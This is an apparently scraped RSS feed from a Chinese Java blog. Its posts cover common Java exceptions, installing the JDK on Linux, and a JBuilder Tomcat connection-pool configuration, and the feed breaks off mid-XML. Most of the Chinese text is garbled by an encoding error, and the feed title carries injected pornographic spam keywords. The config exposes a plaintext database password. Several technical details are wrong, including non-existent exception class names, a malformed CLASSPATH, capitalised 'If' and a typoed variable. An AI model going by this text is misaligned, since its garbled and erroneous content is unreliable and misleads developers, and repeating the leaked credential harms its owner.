??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲成a人片毛片在线,久久99亚洲综合精品首页,亚洲五月丁香综合视频http://www.tkk7.com/hxcfindjob/category/4375.htmlZJava EE & WebService的日文Y件开?/description>zh-cnFri, 02 Mar 2007 06:41:49 GMTFri, 02 Mar 2007 06:41:49 GMT60JAVA基础试中异帔R题汇?/title><link>http://www.tkk7.com/hxcfindjob/articles/17804.html</link><dc:creator>上v滩拾?/dc:creator><author>上v滩拾?/author><pubDate>Wed, 02 Nov 2005 06:06:00 GMT</pubDate><guid>http://www.tkk7.com/hxcfindjob/articles/17804.html</guid><wfw:comment>http://www.tkk7.com/hxcfindjob/comments/17804.html</wfw:comment><comments>http://www.tkk7.com/hxcfindjob/articles/17804.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/hxcfindjob/comments/commentRss/17804.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/hxcfindjob/services/trackbacks/17804.html</trackback:ping><description><![CDATA[<H2><A id=viewpost1_TitleUrl HREF="/chinajox/archive/2005/10/28/17204.html"><FONT color=#009933>JAVA基础试中异帔R题汇?/FONT></A><FONT size=2></FONT></H2> <H2><FONT size=2>友提供 时时整理<BR><BR>1、第一个JAVA例程Qhello world</FONT></H2> <P><FONT size=2>执行时的问题Qproblems Executing Hello</FONT></P> <P><FONT size=2>如果你看C面的错误提示:<BR>'java' is not recognized as an internal or external command, ...<BR>or<BR>java: Command not found.<BR>那么你或许没有安装java或者在环境变量中ƈ没有讄path路径java\bin目录。请查你的java安装以及环境变量的正设|?/FONT></P> <P><FONT size=2>如果你看?<BR>Exception in thread "main" java.lang.NoClassDefFoundError: hello <BR>(wrong name: Hello) ...<BR>那么你很有可能是因ؓ没有注意大小写或是把名称中的字母打错了。如Q?BR>java hello<BR>键入正确的命令重新运行即可?/FONT></P> <P><FONT size=2>如果你看?<BR>Exception in thread "main" java.lang.NoClassDefFoundError: Hello<BR>/class<BR>那么你需要考虑是否L名字中的.class部分?nbsp; <BR> </FONT></P><FONT size=2> <P><BR>2、分析出现java.lang.NoClassDefFoundError异常的具体情?/P> <P>        q个问题在上面调试第一个例E出现过Q但是如果我们输入的名称是正的Q仍然提CL问题时怎么办呢Q?BR>        装了JDK1.4.0版,而且JAVA_HOMEQPATH和CLASSPATH都设|好了。如?BR>JAVA_HOME=/home/jdk<BR>CLASSPATH=$JAVA_HOME/jre/lib/tools.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/jre/lib/:$JAVA_HOME/lib<BR>PATH=$PATH:$JAVA_HOME/bin</P> <P>         用JAVAC命o生成了hello.class,当用java helloӞ仍然提示Q?BR>Exception in thread "main" java.lang.NoClassDefFoundError:XXXQwrong name:<BR>XXXQ?/P> <P>解决提示Q?BR>(1)、Add (current directory) to your classpath或类定义前面加public <BR>(2)、path环境变量中设|的路径中是否有另一个java.exe文gQ默认执行的是这个目录下的java.exeQ虽然版本与JDK下的java.exe一_但是在此目录下执行就会出错?BR>        ҎQ?BR>        安装了JDK的情况下Q应该删除winnt下的java.exeQ确保默认调用的java.exe是位于jdk中bin目录下的java.exe?/P> <P>(3)、假如你使用了packet<BR>那么查你在编译了没有指定package包在你文件中的java文g?BR><BR>3、通常异常捕获处理Q?BR>JAVA中几个基本异常简单的描述一下:<BR>ArithmeticException  当出现异常算术条件时产生 <BR>NullPointerException 当应用程序企图用需要的对象处ؓI时产生 <BR>ArrayIndexOutOfBoundsException 数组下标界时?nbsp;<BR>ArrayStoreException 当程序试囑֭储数l中错误的类型数据时产生 <BR>FileNotFoundException 试图讉K的文件不存在时?nbsp;<BR>IOException ׃一般I/O故障而引LQ如L件故?nbsp;<BR>NumberFormatException  当把字符串{换ؓ数值型数据p|时?nbsp;<BR>OutOfMemoryException  内存不时?nbsp;<BR>SecurityException  当小应用E序QAppletQ试图执行由于浏览器的安全设|而不允许的动作时产生 <BR>StackOverflowException  当系l的堆栈I间用完时?nbsp;<BR>StringIndexOutOfBoundsException  当程序试图访问串中不存在的字W位|时产生 <BR><BR>  上述出现的异常基本上都是JAVA中我们可能会遇到的异常?BR><BR>  cThrowable有两个直接子c:Error和Exception。Exceptioncd象是JavaE序处理或抛弃的对象。Java 提供了两UException 的模式,一U是执行的时候所产生的Exception (Runtime Exception)Q另外一U则是受控制的Exception (Checked Exception)。所有的Checked Exception 均从java.lang.Exception l承而来Q而Runtime Exception 则承java.lang.RuntimeException 或java.lang.Error (实际上java.lang.RuntimeException 的上一层也是java.lang.Exception)。它有各U不同的子类分别对应于不同类型的例外。其中类RuntimeException代表q行时由Java虚拟机生成的例外?BR><BR>        E序的运作机制上看,Runtime Exception与Checked Exception 不一P从逻辑上看QRuntime Exception 与Checked Exception 在用的目的上也不一栗?/P> <P>  一般而言QChecked Exception 表示q个Exception 必须要被处理Q也是说程序设计者应该已l知道可能会收到某个Exception(因ؓ要try catch? Q所以程序设计者应该能针对q些不同的Checked Exception 做出不同的处理?/P> <P>  而Runtime Exception 通常会暗C着E序上的错误Q这U错误会DE序设计者无法处理,而造成E序无法l箋执行下去?BR><BR>  Java的可控制异常处理是通过5个关键字来实现的QtryQcatchQthrowQthrowsQfinally。JB的在U帮助中对这几个关键字是q样解释的:<BR>Throws:  Lists the exceptions a method could throw.<BR>Throw:   Transfers control of the method to the exception handler.<BR>TryQ?nbsp;   Opening exception-handling statement.<BR>CatchQ?nbsp; Captures the exception.<BR>FinallyQ?Runs its code before terminating the program.<BR><BR>·try语句 <BR>try语句用大括号{}指定了一D代码,该段代码可能会抛弃一个或多个例外?BR><BR>·catch语句 <BR>  catch语句的参数类gҎ的声明,包括一个例外类型和一个例外对象。例外类型必MؓThrowablecȝ子类Q它指明了catch语句所处理的例外类型,例外对象则由q行时系l在try所指定的代码块中生成ƈ被捕P大括号中包含对象的处理,其中可以调用对象的方法?BR><BR>  catch语句可以有多个,分别处理不同cȝ例外。Javaq行时系l从上到下分别对每个catch语句处理的例外类型进行检,直到扑ֈcd相匹配的catch语句为止。这里,cd匚w指catch所处理的例外类型与生成的例外对象的cd完全一致或者是它的父类Q因此,catch语句的排列顺序应该是从特D到一般?BR><BR>  也可以用一个catch语句处理多个例外cdQ这时它的例外类型参数应该是q多个例外类型的父类Q程序设计中要根据具体的情况来选择catch语句的例外处理类型。 <BR><BR>· finally语句 <BR>  try所限定的代码中Q当抛弃一个例外时Q其后的代码不会被执行。通过finally语句可以指定一块代码。无论try所指定的程序块中抛弃或不抛弃例外,也无论catch语句的例外类型是否与所抛弃的例外的cd一_finally所指定的代码都要被执行Q它提供了统一的出口。通常在finally语句中可以进行资源的清除工作。如关闭打开的文件等。不异常是否发生都会执行finally中的语句?BR><BR>·throws语句 <BR>  throwsL出现在一个函数头中,用来标明该成员函数可能抛出的各种异常。对大多数Exception子类来说QJava ~译器会你声明在一个成员函C抛出的异常的cd。如果异常的cd是Error?RuntimeExceptionQ?或它们的子类Q这个规则不起作用, 因ؓq在E序的正帔R分中是不期待出现的?如果你想明确地抛Z个RuntimeExceptionQ你必须用throws语句来声明它的类型?BR><BR>· throw语句 <BR>  throwL出现在函C中,用来抛出一个异常。程序会在throw语句后立即终止,它后面的语句执行不到Q然后在包含它的所有try块中Q可能在上层调用函数中)从里向外L含有与其匚w的catch子句的try块。所有的Ҏ都用“throw”语句来抛出一个异常。Throw语句需要一个单独throwable对象Q这个对象是LThrowablecȝ子类?BR><BR>例如Q?BR>boolean testEx() throws Exception{<BR>        boolean ret = true;<BR>        try<BR>    {<BR>            ret = testEx1();<BR>        }<BR>        catch (Exception e)<BR>       {<BR>            System.out.println("testEx, catch exception");<BR>            ret = false;<BR>            throw e;<BR>        }<BR>       finally<BR>      {<BR>            System.out.println("testEx, finally; return value="+ret);<BR>            return ret;<BR>        }<BR>    }<BR><BR>4、JAVA错误Q?nbsp;java.lang.Error <BR><BR>原因: <BR><BR>1.对系l所讉K外部资源Q未执行关闭操作Q导致外部资源大量浪费,最l可能导致系l无法正常运行; <BR>2.对系l所讉K的外部资源关闭次数太多,外部pȝ无法正常处理Q?nbsp;<BR>3.pȝ讉K的外部资源出现异常情c?nbsp;<BR>解决ҎQ?nbsp;<BR><BR>1.讉K外部资源前,首先查该资源(如数据库)是否可正常连接或操作?nbsp;<BR>2.讉K外部资源Ӟ如果q行了连接,一定进行关闭操作,q仅q行一ơ关闭操作?nbsp;<BR>3.量在同一操作中共享外部资源,以减该操作对资源的消费Q提高程序的执行效率<BR><BR><BR>5、空指针错误 Qjava.lang.NullPointerException <BR><BR>使用基本的JAVA数据cdQ变量的D么已l是默认|如果没有对其正常赋|E序便不能通过~译Q因此用基本的JAVA数据cd(double,float,boolean,char,int,long)一般不会引L指针异常。由此可见,I指针异怸要跟与对象的操作相关?nbsp;<BR><BR>下面先列Z可能发生I指针异常的几种情况及相应解x案: <BR><BR>不管对象是否为空q接开始用?nbsp;<BR>(JSP)代码D?Q?nbsp;<BR>out.println(request.getParameter("username")); <BR>描述Q?nbsp;<BR>代码D?的功能十分简单,是输出用户输入的表?username"的倹{?nbsp;<BR><BR>说明Q?nbsp;<BR>看上去,上面的语句找不出什么语法错误,而且在大多数情况下也遇不C么问题。但是,如果某个用户在输入数据时q没有提供表单域"username"的|或通过某种途径l过表单直接输入Ӟ此时request.getParameter("username")的gؓI(不是I字W串Q是I对象null。)Qout对象的printlnҎ是无法直接对I对象操作,因此代码D?所在的JSP面会抛出"java.lang.NullPointerException"异常?nbsp;<BR><BR>即对象可能为空Ӟ也调用java.lang.Object或Object对象本n的一些方法如toString(), equals(Object obj){操作?nbsp;<BR>(JSP)代码D?Q?nbsp;<BR><BR>String userName = request.getParameter("username"); <BR>If (userName.equals("root")) <BR>{....} <BR><BR><BR>描述Q?nbsp;<BR>代码D?的功能是用h供的用户名,如果是用户名UCؓ"root"的用hQ就执行一些特别的操作?nbsp;<BR><BR>说明Q?nbsp;<BR>在代码段2中,如果有用h有提供表单域"username"的值时Q字W串对象userName为null|不能够将一个null的对象与另一个对象直接比较,同样Q代码段2所在的JSP面׃抛出(java.lang.NullPointerException)I指针错误?nbsp;<BR><BR>(JSP)代码D?Q?nbsp;<BR>String userName = session.getAttribute("session.username").toString(); <BR><BR>描述Q?nbsp;<BR>代码D?的功能是session中session.username的值取出,q将该Dl字W串对象 userName?nbsp;<BR><BR>说明Q?nbsp;<BR>在一般情况下Q如果在用户已经q行某个会话Q则不会出现什么问题;但是Q如果此时应用服务器重新启动Q而用戯没有重新dQ(也可能是用户关闭览器,但是仍打开原来的页面。)那么Q此时该session的值就会失效,同时Dsession中的session.username的gؓI。对一个ؓnull的对象的直接执行toString()操作Q就会导致系l抛?java.lang.NullPointerException)I指针异常?nbsp;<BR><BR>解决ҎQ?nbsp;<BR>Z保q行操作或引用的对象非空Q假若我们要Ҏ对象q行操作或引用,我们首先L查该对象是否已经实例化且不ؓI;q且在系l中加入针对对象为空时情늚处理?nbsp;<BR><BR>如:采用String对象保存用户提交的结果;在如果涉及对象的操作Ӟ先检其是否为空后,查到对象为空后,可再选择q行以下MU处理方式: <BR><BR>处理方式 1) 查到对象为空Ӟ讄对象gؓI字W串或一个默认| <BR>处理方式 2) 到对象为空ӞҎ不执行某操作Q直接蟩转到其他处理中?nbsp;<BR>处理方式 3) 查到对象为空Ӟ提示用户操作有错误?nbsp;<BR>代码段2按以上方式进行改写,得到Q?nbsp;<BR>方式1Q?nbsp;<BR><BR>String userName = request.getParameter("username"); <BR>// 该变量gؓI时Q{化ؓ默认I字W串 <BR>If (userName == null) <BR>userName = ""; <BR>If (userName.equals("root")) <BR>{..........} <BR><BR><BR>方式2Q?nbsp;<BR><BR>String userName = request.getParameter("username"); <BR>// 该变量gؓI时Q{化ؓ默认I字W串Q不执行有关操作?nbsp;<BR>If (usreName != null) <BR>{ <BR>If (userName.equals("root")) <BR>{..........} <BR>} <BR><BR><BR><BR><BR><BR>方式3Q?nbsp;<BR><BR>String userName = request.getParameter("username"); <BR>// 该变量gؓI时Q{化ؓ默认I字W串Q不执行有关操作?nbsp;<BR>If (usreName == null) <BR>{ <BR>// 提示用户输入信息为空 <BR>} <BR><BR><BR><BR><BR><BR>实际中,上面提供CU处理方式也同样适用于其他异常的处理Q?nbsp;<BR><BR>异常处理方式 1) 查到异常出现Q设|对象gؓI字W串或一个默认| <BR>异常处理方式 2) 到异常出现Q根本不执行某操作,直接跌{到其他处理中?nbsp;<BR>异常处理方式 3) 查到异常出现Q提C用h作有错误?BR></FONT></P><img src ="http://www.tkk7.com/hxcfindjob/aggbug/17804.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/hxcfindjob/" target="_blank">上v滩拾?/a> 2005-11-02 14:06 <a href="http://www.tkk7.com/hxcfindjob/articles/17804.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Linux下安装JDK及环境设|?http://www.tkk7.com/hxcfindjob/articles/17803.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 06:05:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17803.htmlhttp://www.tkk7.com/hxcfindjob/comments/17803.htmlhttp://www.tkk7.com/hxcfindjob/articles/17803.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17803.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17803.html
我在Fedora Core 3上已l成功安装了jdk(jdk-1_5_0_02-linux-i586.rpm)Q其它版本的Linux基本相同Q过E如下:

1. 先从|上下蝲jdk(jdk-1_5_0_02-linux-i586.rpm) Q推荐SUN的官方网站www.sun.comQ下载后攑֜/home目录中,当然其它地方也行?BR>
q入安装目录
#cd /home
#cp jdk-1_5_0_02-linux-i586.rpm /usr/local
#cd /usr/local
l所有用h加可执行的权?BR>#chmod +x jdk-1_5_0_02-linux-i586.rpm.bin
#./jdk-1_5_0_02-linux-i586.rpm.bin
此时会生成文件jdk-1_5_0_02-linux-i586.rpmQ同L所有用h加可执行的权?BR>#chmod +x jdk-1_5_0_02-linux-i586.rpm
安装E序
#rpm -ivh jdk-1_5_0_02-linux-i586.rpm
出现安装协议{,按接受即可?BR>
2.讄环境变量?BR>#vi /etc/profile
在最后面加入 
#set java environment
JAVA_HOME=/usr/java/jdk-1_5_0_02
CLASSPATH=.:QJAVA_HOME/lib.tools.jar
PATH=QJAVA_HOME/bin:QPATH
export JAVA_HOME CLASSPATH PATH
保存退出?BR>
要JDK在所有的用户中用,可以q样Q?BR>vi /etc/profile.d/java.sh
在新的java.sh中输入以下内容: 
#set java environment
JAVA_HOME=/usr/java/jdk-1_5_0_02
CLASSPATH=.:QJAVA_HOME/lib/tools.jar
PATH=QJAVA_HOME/bin:QPATH
export JAVA_HOME CLASSPATH PATH
保存退出,然后ljava.sh分配权限Qchmod 755 /etc/profile.d/java.sh

3.在终端用echo命o查环境变量设|情c?BR>#echo QJAVA_HOME
#echo QCLASSPATH
#echo QPATH

4.查JDK是否安装成功?BR>#java -version
如果看到JVM版本及相关信息,卛_装成功!


]]>
JBuilder自带Tomcat数据q接池配|?/title><link>http://www.tkk7.com/hxcfindjob/articles/17802.html</link><dc:creator>上v滩拾?/dc:creator><author>上v滩拾?/author><pubDate>Wed, 02 Nov 2005 05:57:00 GMT</pubDate><guid>http://www.tkk7.com/hxcfindjob/articles/17802.html</guid><wfw:comment>http://www.tkk7.com/hxcfindjob/comments/17802.html</wfw:comment><comments>http://www.tkk7.com/hxcfindjob/articles/17802.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/hxcfindjob/comments/commentRss/17802.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/hxcfindjob/services/trackbacks/17802.html</trackback:ping><description><![CDATA[<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt" align=center><SPAN lang=EN-US style="FONT-SIZE: 18pt">JBuilder</SPAN><SPAN style="FONT-SIZE: 18pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">自带</SPAN><SPAN lang=EN-US style="FONT-SIZE: 18pt">Tomcat</SPAN><SPAN style="FONT-SIZE: 18pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据q接池配|?/SPAN><SPAN lang=EN-US style="FONT-SIZE: 18pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN lang=EN-US style="FONT-SIZE: 18pt"><o:p> </o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作?/SPAN><SPAN lang=EN-US style="FONT-SIZE: 14pt">: </SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">双面?/SPAN><SPAN lang=EN-US style="FONT-SIZE: 14pt"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN lang=EN-US style="FONT-SIZE: 14pt">QQ:147670662<o:p></o:p></SPAN></P><SPAN lang=EN-US style="FONT-SIZE: 18pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"><BR style="PAGE-BREAK-BEFORE: always" clear=all></SPAN> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">1.</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">数据库连接池需?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">commons-dbcp-1.1</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">Q?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">commons-pool-1.1</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">q两?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">jar</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">包,认</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">JBuilder</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">E序目录下的</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">thirdparty\jakarta-tomcat-4.1.24-LE-jdk14\common\lib</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">下面有这两个</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">jar</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">包?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">2.</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">JDBC</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">驱动?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">COPY</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">JBuilder</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">E序目录下的</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">thirdparty\jakarta-tomcat-4.1.24-LE-jdk14\common\lib</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">里?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">3.</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">在你?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">project</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">下面有个</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">Tomcat</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">目录Q需要添加数据连接池配置内容的文件是</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">webapps\jb-******.xml(******</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">是你?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">Web Module</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">)<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">需要注意的是,要把q个注释L</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><!--This comment marks this file as generated, so it may be deleted and regenerated at any time. To preserve manual changes to this file, delete this comment.--> <o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">4.</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">我的</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">jb-*******.xml</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">如下Q?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><?xml version="1.0" encoding="UTF-8"?><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><CONTEXT debug="0" docBase="C:\temp\test22\pool" path="/WebModule1" reloadable="true" workDir="C:\temp\test22\Tomcat\work\WebModule1"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 1">       </SPAN><RESOURCE name="jdbc/Test" auth="Container" type="javax.sql.DataSource" /><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 2">              </SPAN><RESOURCEPARAMS name="jdbc/Test"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN><PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><NAME>username</NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><VALUE>sa</VALUE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN></PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN><PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><NAME>password</NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes"> </SPAN><SPAN style="mso-spacerun: yes">           </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><VALUE>angeng749</VALUE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN></PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN><PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><NAME>driverClassName</NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 3">                     </SPAN><VALUE>com.microsoft.jdbc.sqlserver.SQLServerDriver</VALUE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 2">              </SPAN></PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 1">       </SPAN><PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">            </SPAN><SPAN style="mso-tab-count: 2">              </SPAN><NAME>url</NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 3">                     </SPAN><VALUE>jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs</VALUE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 2">              </SPAN></PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">                </SPAN><PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">                        